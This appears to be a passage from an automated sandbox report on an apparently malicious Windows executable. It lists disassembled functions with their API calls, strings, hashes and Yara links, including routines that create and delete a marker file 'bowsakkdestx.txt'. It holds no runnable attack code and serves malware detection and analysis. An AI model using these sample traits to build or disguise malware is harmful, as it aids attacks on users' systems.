Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00690000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 1059622496-2104205924
Opcode ID: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00690000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
